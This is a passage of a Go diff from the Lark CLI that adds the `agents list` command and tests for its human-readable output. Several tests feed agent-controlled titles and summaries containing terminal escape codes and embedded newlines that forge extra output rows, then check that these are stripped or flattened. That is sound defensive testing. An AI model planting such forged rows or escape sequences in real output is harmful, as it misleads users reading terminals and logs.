if strings.HasPrefix(line, "state: ") {
|
||||
stateLines++
|
||||
}
|
||||
}
|
||||
if stateLines != 1 {
|
||||
t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
|
||||
}
|
||||
if !strings.Contains(out.String(), "state: failed") {
|
||||
t.Errorf("the real state line should remain, got:\n%s", out.String())
|
||||
}
|
||||
if !strings.Contains(out.String(), "reply: done state: completed ok") {
|
||||
t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
|
||||
// the context title row.
|
||||
func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextDetailPretty(out, &iagents.ContextDetail{
|
||||
ContextID: "sess_1",
|
||||
Title: "标题\ncontext_id: forged",
|
||||
})
|
||||
var idLines int
|
||||
for _, line := range strings.Split(out.String(), "\n") {
|
||||
if strings.HasPrefix(line, "context_id: ") {
|
||||
idLines++
|
||||
}
|
||||
}
|
||||
if idLines != 1 {
|
||||
t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
|
||||
func TestPrintTaskPretty_NilTask(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, nil)
|
||||
if out.Len() == 0 {
|
||||
t.Error("nil task should print a placeholder line")
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
|
||||
// naming the json fields (now including UPDATED_AT + SUMMARY), then one
|
||||
// tab-separated row per task. Summary is agent-controlled, so it is
|
||||
// ANSI-stripped AND newline/tab-flattened via kvValue.
|
||||
func TestPrintTaskSummariesTSV(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskSummariesTSV(out, []iagents.TaskSummary{
|
||||
{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateCompleted, IsTerminal: true,
|
||||
UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
|
||||
})
|
||||
lines := strings.Split(strings.TrimSpace(out.String()), "\n")
|
||||
if len(lines) != 2 {
|
||||
t.Fatalf("should have a header + 1 data row, got %q", out.String())
|
||||
}
|
||||
if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
|
||||
t.Errorf("header columns should match the json field names, got %q", lines[0])
|
||||
}
|
||||
// Summary: ANSI escape stripped, newline flattened to a space.
|
||||
if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
|
||||
t.Errorf("data row mismatch, got %q", lines[1])
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextsTSV pins the context-list pretty spec: header row (now
|
||||
// carrying the UPDATED_AT / AWAITING_INPUT rollup columns — no TASK_COUNT,
|
||||
// which is a `context get` field) plus rows, with the agent-controlled Title
|
||||
// stripped of ANSI escapes.
|
||||
func TestPrintContextsTSV(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextsTSV(out, []iagents.ContextSummary{
|
||||
{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
|
||||
Title: "\x1b[2J销售分析", AwaitingInput: true},
|
||||
})
|
||||
text := out.String()
|
||||
if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
|
||||
t.Errorf("should have a header row with the rollup columns, got %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "销售分析") {
|
||||
t.Errorf("should contain the title text, got %q", text)
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in Title must be stripped: %q", text)
|
||||
}
|
||||
// The awaiting_input rollup directly trails the title — no TASK_COUNT column
|
||||
// in between.
|
||||
if !strings.Contains(text, "销售分析\ttrue\n") {
|
||||
t.Errorf("should carry the awaiting_input rollup right after the title, got %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextDetailPretty pins the context-get pretty rendering as a
|
||||
// conversation overview: metadata + the task_count / awaiting_input rollup and
|
||||
// a one-line active_task digest — NOT a full tasks[] list (that is `agents task
|
||||
// list --context-id`). Title and the active-task Summary are agent-controlled,
|
||||
// so both are ANSI-stripped + newline-flattened.
|
||||
func TestPrintContextDetailPretty(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextDetailPretty(out, &iagents.ContextDetail{
|
||||
ContextID: "sess_1",
|
||||
CreatedAt: "2026-07-05T10:00:00+08:00",
|
||||
UpdatedAt: "2026-07-05T12:00:00+08:00",
|
||||
Title: "\x1b[31m分析\x1b[0m",
|
||||
TaskCount: iagents.Int(2),
|
||||
AwaitingInput: true,
|
||||
ActiveTask: &iagents.TaskSummary{
|
||||
TaskID: "chat_2", State: iagents.StateInputRequired,
|
||||
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
|
||||
},
|
||||
})
|
||||
text := out.String()
|
||||
for _, want := range []string{
|
||||
"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
|
||||
"task_count: 2", "awaiting_input: true", "active_task: input_required",
|
||||
} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
// active-task Summary: newline flattened to a space.
|
||||
if !strings.Contains(text, "请提供 季度") {
|
||||
t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences must be stripped: %q", text)
|
||||
}
|
||||
// The full task enumeration must NOT appear here anymore.
|
||||
if strings.Contains(text, "tasks:") {
|
||||
t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
|
||||
}
|
||||
|
||||
// nil TaskCount = the provider cannot supply the count: the line is omitted
|
||||
// instead of printing a misleading 0.
|
||||
out.Reset()
|
||||
printContextDetailPretty(out, &iagents.ContextDetail{ContextID: "sess_2"})
|
||||
if strings.Contains(out.String(), "task_count") {
|
||||
t.Errorf("a nil TaskCount should omit the task_count line, got %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
|
||||
// built from the real command path + Use shape, so the caller learns what is
|
||||
// missing instead of cobra's bare "accepts 2 arg(s)".
|
||||
func TestExactArgsUsageHint(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs([]string{"agents", "task", "get", "example:x"}) // missing task-id
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("task get with a single argument should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents task get <agent_ref> <task-id>") {
|
||||
t.Fatalf("hint should contain the usage string, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
|
||||
// (`agents list [scheme]`).
|
||||
func TestMaximumArgsUsageHint(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs([]string{"agents", "list", "example", "extra"})
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("list with more than 1 positional argument should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents list [scheme]") {
|
||||
t.Fatalf("hint should contain the usage string, got %+v", p)
|
||||
}
|
||||
}
|
||||
274
cmd/agents/list.go
Normal file
274
cmd/agents/list.go
Normal file
@@ -0,0 +1,274 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// providerInfo describes a registered provider adapter in `agents list` output.
|
||||
// Every field is sourced from the registered iagents.Provider (the single
|
||||
// source of truth).
|
||||
type providerInfo struct {
|
||||
Scheme string `json:"scheme"`
|
||||
Label string `json:"label"`
|
||||
AgentRefFormat string `json:"agent_ref_format"`
|
||||
Kind string `json:"kind"`
|
||||
AgentIDSource string `json:"agent_id_source"`
|
||||
// ListParams documents the business parameters `agents list <scheme>` itself
|
||||
// takes — surfaced HERE (the offline, always-reachable provider listing)
|
||||
// because at list time the caller holds no agent_ref yet, so a card-based
|
||||
// hint would point at an unreachable road.
|
||||
ListParams []iagents.CardParam `json:"list_parameters,omitempty"`
|
||||
}
|
||||
|
||||
// listOptions holds all inputs for `agents list [scheme]`.
|
||||
type listOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Scheme string
|
||||
Params []string
|
||||
Format string
|
||||
As string
|
||||
PageSize int
|
||||
PageToken string
|
||||
}
|
||||
|
||||
// NewCmdAgentList builds `agents list [scheme]`. Without an argument it
|
||||
// enumerates the registered provider adapters with their metadata — a
|
||||
// pure, API-free listing. With a scheme it performs second-level discovery:
|
||||
// catalog providers enumerate offline from their static set; instance providers
|
||||
// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
|
||||
// with the agent_id_source guidance). Risk=read.
|
||||
func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &listOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list [scheme]",
|
||||
Short: "List registered agent providers, or enumerate the agents under one provider",
|
||||
Long: "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
|
||||
Args: maximumArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validatePageSize(opts.PageSize); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
if len(args) == 1 {
|
||||
opts.Scheme = args[0]
|
||||
}
|
||||
return agentListRun(opts)
|
||||
},
|
||||
}
|
||||
// --page-size / --page-token apply only to the instance enumeration path
|
||||
// (prov.ListAgents); the offline catalog listing and the no-scheme provider
|
||||
// listing ignore them.
|
||||
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
|
||||
addParamFlag(cmd, &opts.Params)
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
// --as only matters for the online `list <scheme>` enumeration (an instance
|
||||
// provider's ListAgents call); the no-scheme provider listing is offline and
|
||||
// identity-independent, so it ignores --as.
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentListRun dispatches `agents list [scheme]`: with a scheme it lists that
|
||||
// provider's agents (second-level discovery); without it renders the provider
|
||||
// listing. JSON envelope is the default; `pretty` is the opt-in human view.
|
||||
func agentListRun(opts *listOptions) error {
|
||||
if opts.Scheme != "" {
|
||||
return agentListSchemeRun(opts)
|
||||
}
|
||||
// The no-scheme form is a pure offline registry listing — business params
|
||||
// have no target operation, so reject explicitly rather than silently
|
||||
// ignoring what the caller thought they were passing.
|
||||
if len(opts.Params) > 0 {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--param 仅在 agents list <scheme> 时有意义(无 scheme 的列表是纯本地枚举)").
|
||||
WithParam("--param").
|
||||
WithHint("补充 scheme 重发,如 lark-cli agents list <scheme> --param k=v;各 provider 的 list 参数见本命令输出的 list_parameters")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
providers := listProviders()
|
||||
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
|
||||
for _, p := range providers {
|
||||
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
|
||||
}
|
||||
// agent_id_source is a full sentence — a TSV column would blow out the
|
||||
// row width, so surface it as a per-provider footer instead. This is the
|
||||
// single most important "where do I get an agent_id" cue for newcomers
|
||||
// and must not vanish in the human-readable view.
|
||||
fmt.Fprintln(f.IOStreams.Out)
|
||||
for _, p := range providers {
|
||||
fmt.Fprintf(f.IOStreams.Out, "agent_id 获取(%s): %s\n", p.Scheme, p.AgentIDSource)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Data: map[string]interface{}{"providers": providers},
|
||||
Meta: listMeta(len(providers)),
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentListSchemeRun runs `agents list <scheme>`: second-level enumeration for
|
||||
// one provider. A catalog provider enumerates OFFLINE from its static set
|
||||
// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
|
||||
// ListAgents hook (needs a configured client); an instance provider without that
|
||||
// hook is not enumerable and returns unsupported_capability + the AgentIDSource
|
||||
// hint — surfaced before the client is built.
|
||||
func agentListSchemeRun(opts *listOptions) error {
|
||||
f := opts.Factory
|
||||
prov, ok := iagents.Info(opts.Scheme)
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 agent provider '%s',当前支持: %s",
|
||||
opts.Scheme, iagents.KnownSchemes()).
|
||||
WithHint("用 lark-cli agents list 查看可用 provider")
|
||||
}
|
||||
|
||||
var agents []iagents.AgentSummary
|
||||
var identity string // set only on the online (instance) path, which resolves one
|
||||
var pageInfo iagents.PageInfo // set only on the online (instance) path
|
||||
catalog := prov.Kind() == iagents.KindCatalog
|
||||
if catalog {
|
||||
// Offline catalog enumeration takes no business params (ListParams
|
||||
// requires a ListAgents hook); validate against the empty set so a stray
|
||||
// --param is rejected with the same teaching error instead of ignored.
|
||||
// The catalog set is finite and offline, so it is UNPAGED: --page-size /
|
||||
// --page-token are ignored on this path (documented on the command).
|
||||
if _, err := validateListParams(opts.Params, nil, opts.Scheme); err != nil {
|
||||
return err
|
||||
}
|
||||
agents = prov.ListCatalog(resolvedBrand(opts.Factory)) // offline, brand-filtered
|
||||
} else {
|
||||
// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
|
||||
if prov.ListAgents == nil {
|
||||
return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
|
||||
"provider '%s' 暂不支持列举 agent", opts.Scheme).
|
||||
WithHint("%s", prov.AgentIDSource)
|
||||
}
|
||||
// --page-size is validated uniformly in RunE (alongside validateFormat), so
|
||||
// this paginated path does not re-check it here.
|
||||
// Enumeration is a real online call with no agent_id, so it runs the same
|
||||
// two gates every ref-addressed online verb runs (via resolveSpec +
|
||||
// preflightScopesForRef): the user|bot identity whitelist and the
|
||||
// all-or-nothing scope preflight — keyed on the scheme since there is no ref.
|
||||
// agentID is empty (enumeration is not scoped to a single agent).
|
||||
id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
|
||||
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
|
||||
return err
|
||||
}
|
||||
identity = string(id)
|
||||
// list is a provider-level operation: params validate against ListParams
|
||||
// (no spec, so no cross-operation reverse lookup); the error hint points
|
||||
// at `agents list` output's list_parameters, not at an agent card the
|
||||
// caller cannot address yet (it holds no agent_ref at list time).
|
||||
vp, err := validateListParams(opts.Params, prov.ListParams, opts.Scheme)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rt, err := runtimeFor(f, id, "", vp.Resolved)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
|
||||
return err
|
||||
}
|
||||
agents, pageInfo, err = prov.ListAgents(opts.Cmd.Context(), rt,
|
||||
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if agents == nil {
|
||||
agents = []iagents.AgentSummary{} // always emit [] not null
|
||||
}
|
||||
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
// Name/Description are agent-controlled remote strings — ANSI-strip
|
||||
// them before writing to the terminal.
|
||||
fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
|
||||
for _, a := range agents {
|
||||
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Catalog is unpaged (plain count); the instance path carries has_more /
|
||||
// page_token and a next-page action when there are more agents.
|
||||
meta := listMeta(len(agents))
|
||||
if !catalog {
|
||||
meta = listMetaPage(len(agents), pageInfo, listSchemeNext(opts, f, pageInfo))
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: identity, // empty for the offline catalog path (omitempty)
|
||||
Data: map[string]interface{}{"agents": agents},
|
||||
Meta: meta,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// listSchemeNext builds the next-page action for the instance `list <scheme>`
|
||||
// enumeration, replaying the scheme with the returned cursor. The scheme is
|
||||
// gated by safeNextID (no colon, so safeNextRef does not apply); a failing scheme
|
||||
// drops the action (the cursor still rides meta.page_token as data).
|
||||
func listSchemeNext(opts *listOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
|
||||
if !safeNextID(opts.Scheme) {
|
||||
return nil
|
||||
}
|
||||
next := nextPageAction(fmt.Sprintf("lark-cli agents list %s", opts.Scheme), opts.PageSize, info)
|
||||
carryAsIntoNext(opts.Cmd, f, next)
|
||||
return next
|
||||
}
|
||||
|
||||
// listProviders builds the provider descriptors from the built-in registry so
|
||||
// the listing stays in sync with whatever adapters are registered.
|
||||
func listProviders() []providerInfo {
|
||||
schemes := iagents.RegisteredSchemes()
|
||||
out := make([]providerInfo, 0, len(schemes))
|
||||
for _, s := range schemes {
|
||||
// s comes from RegisteredSchemes, so Info always succeeds.
|
||||
prov, _ := iagents.Info(s)
|
||||
out = append(out, providerInfo{
|
||||
Scheme: s,
|
||||
Label: prov.Label,
|
||||
AgentRefFormat: prov.AgentRefFormat(),
|
||||
Kind: string(prov.Kind()),
|
||||
AgentIDSource: prov.AgentIDSource,
|
||||
ListParams: prov.ListParams,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
554
cmd/agents/list_test.go
Normal file
554
cmd/agents/list_test.go
Normal file
@@ -0,0 +1,554 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// listFactory returns a Factory writing to a fresh stdout buffer plus a
|
||||
// listOptions bound to it, ready to drive agentListRun without any API.
|
||||
func listFactory() (*listOptions, *bytes.Buffer) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
return &listOptions{Factory: f, Format: "json"}, out
|
||||
}
|
||||
|
||||
// decodeProviders unmarshals the envelope on out and returns data.providers.
|
||||
func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
|
||||
t.Helper()
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
providers, _ := data["providers"].([]interface{})
|
||||
return providers
|
||||
}
|
||||
|
||||
// findProvider returns the provider entry whose scheme matches, or nil.
|
||||
func findProvider(providers []interface{}, scheme string) map[string]interface{} {
|
||||
for _, pv := range providers {
|
||||
p, _ := pv.(map[string]interface{})
|
||||
if p["scheme"] == scheme {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
|
||||
// example entry carries all fields sourced from iagents.Info (the single source
|
||||
// of truth), the legacy free-text description field is gone, and discoverable
|
||||
// is no longer exposed.
|
||||
func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
|
||||
opts, out := listFactory()
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list should not error: %v", err)
|
||||
}
|
||||
prov, ok := iagents.Info("example")
|
||||
if !ok {
|
||||
t.Fatal("the example provider should already be registered (top-level agent blank import)")
|
||||
}
|
||||
p := findProvider(decodeProviders(t, out), "example")
|
||||
if p == nil {
|
||||
t.Fatalf("list should include the example provider: %s", out.String())
|
||||
}
|
||||
if p["label"] != prov.Label {
|
||||
t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
|
||||
}
|
||||
if p["agent_ref_format"] != prov.AgentRefFormat() {
|
||||
t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
|
||||
}
|
||||
if p["kind"] != string(prov.Kind()) {
|
||||
t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
|
||||
}
|
||||
if p["agent_id_source"] != prov.AgentIDSource {
|
||||
t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
|
||||
}
|
||||
if _, present := p["description"]; present {
|
||||
t.Errorf("the old description field should be removed (double-source with label), got %v", p)
|
||||
}
|
||||
if _, present := p["discoverable"]; present {
|
||||
t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
|
||||
// data.providers[] with the full field contract.
|
||||
func TestAgentListRun_EnvelopeShape(t *testing.T) {
|
||||
opts, out := listFactory()
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
providers := decodeProviders(t, out)
|
||||
if len(providers) == 0 {
|
||||
t.Fatalf("data.providers should be a non-empty array: %s", out.String())
|
||||
}
|
||||
first, ok := providers[0].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("provider entry should be an object, got %T", providers[0])
|
||||
}
|
||||
for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
|
||||
if _, present := first[key]; !present {
|
||||
t.Errorf("provider entry missing field %q: %v", key, first)
|
||||
}
|
||||
}
|
||||
if _, present := first["discoverable"]; present {
|
||||
t.Errorf("provider entry should not contain a discoverable field: %v", first)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListDefaultFormatIsJSON pins the default flip: `agents list`
|
||||
// without --format emits the JSON envelope (pretty is opt-in).
|
||||
func TestAgentListDefaultFormatIsJSON(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
cmd := NewCmdAgentList(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetArgs([]string{})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("agents list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
|
||||
// row plus tab-separated provider lines, not a JSON envelope.
|
||||
func TestAgentListRun_PrettyFormat(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
opts := &listOptions{Factory: f, Format: "pretty"}
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list pretty should not error: %v", err)
|
||||
}
|
||||
text := out.String()
|
||||
// A pretty rendering is human text, not a JSON envelope.
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
|
||||
}
|
||||
if !strings.HasPrefix(text, "SCHEME") {
|
||||
t.Errorf("pretty output should start with a header row: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "example") {
|
||||
t.Errorf("pretty output should contain the example provider: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "example:<agent_id>") {
|
||||
t.Errorf("pretty output should contain the example ref format: %s", text)
|
||||
}
|
||||
// agent_id_source is surfaced as a footer (not a column) so the newcomer's
|
||||
// "where do I get an agent_id" cue does not disappear in the pretty view.
|
||||
if !strings.Contains(text, "agent_id 获取") {
|
||||
t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_UnsupportedCapability pins that `agents list fakeflow`
|
||||
// on a provider without Discoverer is unsupported_capability (exit 2) with the
|
||||
// AgentIDSource text as hint, and — because the probe runs before any client
|
||||
// construction — works on an unconfigured Factory.
|
||||
func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
|
||||
registerScripted()
|
||||
opts, _ := listFactory()
|
||||
opts.Scheme = "fakeflow"
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Fatalf("exit code should be 2, got %d", code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
|
||||
t.Errorf("message should state that listing is not supported, got %q", err.Error())
|
||||
}
|
||||
if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
|
||||
t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
|
||||
// invalid_argument and the message lists the registered schemes.
|
||||
func TestAgentListScheme_UnknownScheme(t *testing.T) {
|
||||
opts, _ := listFactory()
|
||||
opts.Scheme = "nosuch"
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("an unknown scheme should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
